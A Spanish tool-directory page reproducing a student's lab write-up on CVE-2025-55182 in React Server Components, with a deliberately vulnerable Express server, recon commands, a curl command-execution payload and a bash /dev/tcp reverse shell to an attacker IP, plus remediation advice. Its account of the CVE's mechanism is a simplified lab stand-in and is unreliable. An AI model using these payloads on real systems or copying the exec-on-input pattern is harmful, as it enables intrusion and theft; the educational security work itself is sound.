Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-analysis — Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10 | Kitploit
Herramientas/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 4 mesesAún no revisado

CVE-2025-55182 — Análisis de RCE en React Server Components

Análisis de vulnerabilidad de aplicación web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn

Cadena de explotación de extremo a extremo de una vulnerabilidad de deserialización insegura crítica (CVSS 10.0) en React Server Components, desde el reconocimiento hasta la ejecución remota de código no autenticada, con una hoja de ruta completa de remediación.


⚠️ Aviso Ético

Esta investigación se dirige a una aplicación de laboratorio deliberadamente vulnerable creada para demostrar el CVE. Todas las pruebas se realizaron en una red virtual aislada, sin conexión con sistemas de producción, datos reales de usuarios ni servicios de terceros.

  • NO ejecutes estas técnicas contra sistemas que no poseas o para los que no cuentes con autorización escrita explícita para realizar pruebas.
  • NO despliegues la aplicación vulnerable en ninguna red accesible desde Internet.
  • Se aplican los principios de divulgación responsable: informa siempre de los hallazgos a través de canales coordinados.

Tabla de contenidos

  1. Vulnerability Summary
  2. Affected Versions
  3. Lab Environment
  4. Exploitation Walkthrough
  5. Impact Assessment
  6. Remediation
  7. Skills Demonstrated

Resumen de la vulnerabilidad

Cómo funciona la vulnerabilidad

React Server Components introdujo un nuevo formato de serialización para transmitir componentes renderizados en el servidor al cliente. En las versiones vulnerables, el endpoint RSC acepta una carga útil JSON con un campo cmd que se pasa sin saneamiento a child_process.exec() como parte de la evaluación del renderizado en el servidor.

Un atacante puede enviar una solicitud POST manipulada que:

  1. Es aceptada como una carga útil RSC legítima (sin autenticación, sin CSRF)
  2. Desencadena la ejecución de código en el servidor durante el «render»
  3. Se ejecuta con los privilegios del proceso Node.js (a menudo root en contenedores)

Versiones afectadas

ComponenteRango vulnerableCorregida en
react19.0.0 → 19.2.019.3.0+

Entorno de laboratorio

Aplicación objetivo

Un servidor mínimo Express + RSC que expone un endpoint /rsc y ejecuta de forma insegura los comandos de la carga útil entrante, reproduciendo de forma controlada el patrón de vulnerabilidad del CVE real:

root@kitploit:~
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Guía de explotación

Fase 1 — Reconocimiento

root@kitploit:~
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

La cabecera X-Powered-By: Express y el inusual puerto 3000 proporcionan una huella sólida de que se trata de una aplicación Node.js, coherente con los despliegues de RSC.

Fase 2 — Confirmación mediante un comando benigno

Antes de intentar nada destructivo, valida la vulnerabilidad con un comando inofensivo:

root@kitploit:~
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confirmado: RCE no autenticado como root. El servidor se ejecuta con privilegios sin restricciones.

Fase 3 — Shell inversa

Pasa de la ejecución de un único comando a una shell interactiva completa:

root@kitploit:~
# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

El listener recibe:

root@kitploit:~
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Fase 4 — Potencial de post-explotación (demostrado, no ejecutado)

Con root en el objetivo, un atacante podría trivialmente:

  • Leer /etc/shadow, claves SSH, secretos de la aplicación, archivos .env
  • Instalar persistencia (tareas cron, servicios systemd, implantes de claves SSH)
  • Moverse lateralmente mediante credenciales descubiertas
  • Desplegar criptomineros o ransomware
  • Modificar la aplicación Node.js para capturar silenciosamente los datos de los usuarios

Evaluación del impacto

Impacto empresarial (escenario objetivo ficticio)

Perfil del actor de amenaza

La baja complejidad de este ataque — sin autenticación, sin interacción del usuario, una única solicitud HTTP — lo hace atractivo para:

  • Escáneres oportunistas (botnets que escanean automáticamente en busca del CVE)
  • Brokers de acceso inicial que venden accesos a grupos de ransomware
  • Actores estatales que atacan a organizaciones que usan renderizado en servidor con React

Remediación

Inmediato (en 24 horas)

  1. Actualiza React a 19.3.0+ — versión parcheada

    root@kitploit:~
    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Regla WAF temporal (si la actualización se retrasa):

    root@kitploit:~
    Block POST requests to /rsc with JSON body containing "cmd" field
    
  3. Respuesta a incidentes de emergencia:

    • Revisar los registros de acceso del servidor de los últimos 90 días
    • Buscar tráfico POST inusual hacia /rsc
    • Rotar todos los secretos accesibles desde el servidor
    • Hacer una instantánea del sistema afectado para análisis forense antes de la remediación

A corto plazo (en 2 semanas)

A largo plazo (en 1 trimestre)

Mapeo con OWASP Top 10

Categoría OWASPRelevancia

Habilidades demostradas

  • Análisis de vulnerabilidades: triaje de CVEs, puntuación CVSS, evaluación de explotabilidad
  • Reconocimiento: escaneo con Nmap, fingerprinting de servicios, captura de banners
  • Explotación: manipulación HTTP con curl, ingeniería de shell inversa, creación de cargas útiles
  • Herramientas de proxy: intercepción con OWASP ZAP, modificación de solicitudes/respuestas
  • Comunicación empresarial: hallazgos técnicos traducidos a lenguaje de riesgo ejecutivo
  • Diseño de remediación: controles en capas en horizontes inmediato, corto y largo plazo
  • Marcos de referencia: OWASP Top 10, CVSS v3.1, taxonomía CWE, evaluación de impacto RGPD/DSGVO

Referencias

  • CVE-2025-55182 — Entrada en NVD (marcador de posición: verifícalo antes de citarlo)
  • Documentación de React Server Components
  • OWASP Top 10 — 2021
  • Especificación CVSS v3.1
  • CWE-502 — Deserialización de datos no confiables

Licencia

Licencia MIT — consulta LICENSE

Publicado con fines educativos y de investigación defensiva. Consulta el aviso ético al principio.


Contacto

Niane Mohamed — Ingeniero de Redes y Seguridad 📍 Nouakchott, Mauritania → buscando oportunidades en Alemania 🇩🇪 📧 [email protected] · 🔗 LinkedIn

Descargar herramienta
CampoValor
CVECVE-2025-55182
ClaseDeserialización insegura → Ejecución remota de código
CVSS v3.110.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Autenticación requeridaNinguna
Interacción del usuario requeridaNinguna
Vector de ataqueRed (remoto)
ComponenteEntorno de ejecución de React Server Components (RSC)
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+
RolSOHerramientas
AtacanteKali Linux (última versión)nmap, curl, netcat, OWASP ZAP, Firefox
ObjetivoUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
RedVMware VMnet Host-OnlySin salida a Internet
EjeImpactoExplicación
ConfidencialidadCríticoAcceso de lectura completo a todos los datos del servidor
IntegridadCríticoCapacidad de modificar el código de la aplicación y los datos de los usuarios
DisponibilidadAltoEl atacante puede terminar el servicio o mantenerlo secuestrado
RegulatorioGraveViolación del RGPD/DSGVO con obligación de notificación en 72 h · posible multa del 4% de la facturación global
ReputacionalGraveUna brecha pública asociada a un CVE daña la confianza de los clientes
FinancieroAltoRespuesta a incidentes, multas regulatorias, posible demanda colectiva
ControlPropósito
Deshabilitar RSC si no se usaReducir la superficie de ataque: muchas aplicaciones no necesitan componentes de servidor
Validación estricta de entradasRechazar cualquier objeto deserializado que contenga claves ejecutables
Usuario de contenedor no rootLimitar el radio de impacto si el RCE se repite
Sistema de archivos raíz de solo lecturaPrevenir la persistencia y el depósito de binarios
Filtrado de salidaBloquear el tráfico saliente de los servidores de aplicaciones hacia IP arbitrarias
ControlPropósito
WAF con análisis de comportamientoDetectar cargas útiles POST anómalas más allá de las reglas de firmas
Protección de aplicaciones en tiempo de ejecución (RASP)Bloquear llamadas a funciones peligrosas como exec() en tiempo de ejecución
SCA en CI/CDDetectar dependencias vulnerables antes del despliegue (pip-audit, npm audit, Trivy)
Cadencia de pruebas de penetraciónAnual + tras cada lanzamiento importante
Programa de recompensas por errores (bug bounty)Incentivar la divulgación de white hats antes de que los atacantes encuentren los problemas
A03:2021 — Inyección
Inyección de comandos a través de entradas deserializadas
A08:2021 — Fallos de integridad de software y datosDeserialización insegura sin verificación de integridad
A06:2021 — Componentes vulnerables y desactualizadosUso de React 19.0-19.2 tras la divulgación
A05:2021 — Configuración de seguridad incorrectaEjecutar Node.js como root, sin validación de entradas